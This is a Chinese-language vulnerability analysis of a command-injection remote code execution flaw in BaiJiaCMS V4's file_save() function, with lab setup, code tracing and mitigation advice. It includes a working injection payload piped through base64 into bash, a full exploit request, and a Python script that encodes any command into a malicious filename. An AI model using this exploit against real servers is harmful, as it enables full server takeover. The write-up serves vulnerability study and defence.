baijiacms漏洞分析
字数 942 2025-08-24 20:49:22
BaiJiaCMS 远程代码执行漏洞分析与利用
漏洞概述
BaiJiaCMS V4 版本存在一个高危远程代码执行(RCE)漏洞,该漏洞源于 includes/baijiacms/common.inc.php 文件中的 file_save() 函数存在命令注入问题。攻击者可以通过构造特殊的URL请求,在服务器上执行任意系统命令。
环境搭建
-
下载源码:
https://github.com/baijiacms/baijiacmsV4 -
安装环境要求:
- PHP 5.6.40
- 访问安装页面:
http://localhost:8888/baijiacms/install.php
-
安装完成后默认访问:
http://localhost:8888/baijiacms/index.php?mod=mobile&name=public&act=public&do=index
漏洞分析
路由分析
系统入口文件 index.php 处理请求参数并包含核心文件:
$mod = empty($_REQUEST['mod']) ? 'mobile' : $_REQUEST['mod'];
if ($mod == 'mobile') {
defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'mobile');
} else {
defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'index');
}
require 'includes/baijiacms.php';
核心文件处理
baijiacms.php 对输入参数进行预处理:
if(MAGIC_QUOTES_GPC) {
function stripslashes_deep($value){
$value=is_array($value)? array_map('stripslashes_deep',$value):stripslashes($value);
return $value;
}
$_POST=array_map('stripslashes_deep',$_POST);
$_GET=array_map('stripslashes_deep',$_GET);
$_COOKIE=array_map('stripslashes_deep',$_COOKIE);
$_REQUEST=array_map('stripslashes_deep',$_REQUEST);
}
漏洞关键点
漏洞位于 includes/baijiacms/common.inc.php 文件的 file_save() 函数:
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true) {
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale'])) {
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0) {
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
//...
}
漏洞触发路径
system/public/class/web/file.php中的fetch_net_file_upload()方法会调用file_save()- 访问路径:
http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx
漏洞利用原理
-
fetch_net_file_upload()方法从URL获取文件扩展名:$extention = pathinfo($url,PATHINFO_EXTENSION); -
构造恶意URL时,扩展名部分可以包含命令注入payload:
http://127.0.0.1:9999/whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash; -
最终执行的命令:
convert -quality 100 /path/to/file;payload; /path/to/file;payload;
漏洞利用
利用步骤
-
准备一个包含payload的文件:
whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash; -
启动本地HTTP服务提供该文件
-
发送恶意请求:
GET /baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1:9999/whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;&status=1&beid=1 HTTP/1.1
自动化利用脚本
import base64
webpath = "/yourPath"
cmd = input("cmd>>> ")
b64cmd = base64.b64encode(cmd.encode()).decode()
payload = f"echo {b64cmd}|base64 -d|bash"
print(payload)
payload = payload.replace(' ','${IFS}')
print(payload)
name = input("name>>>")
payload = f"{name}.;{payload};"
print(payload)
with open(file=webpath+payload,mode='w')as f:
f.write('1')
防御措施
- 对用户输入进行严格过滤,特别是文件扩展名部分
- 避免直接使用用户输入拼接系统命令
- 使用escapeshellarg()等函数对命令参数进行转义
- 限制文件上传的扩展名类型
- 更新到最新版本或应用官方补丁
总结
该漏洞利用链如下:
- 通过
index.php路由到system/public/class/web/file.php - 调用
fetch_net_file_upload()方法 - 构造恶意URL控制文件扩展名
- 最终在
file_save()中通过system()执行任意命令
漏洞危害性高,攻击者可以完全控制服务器,建议用户立即采取防护措施。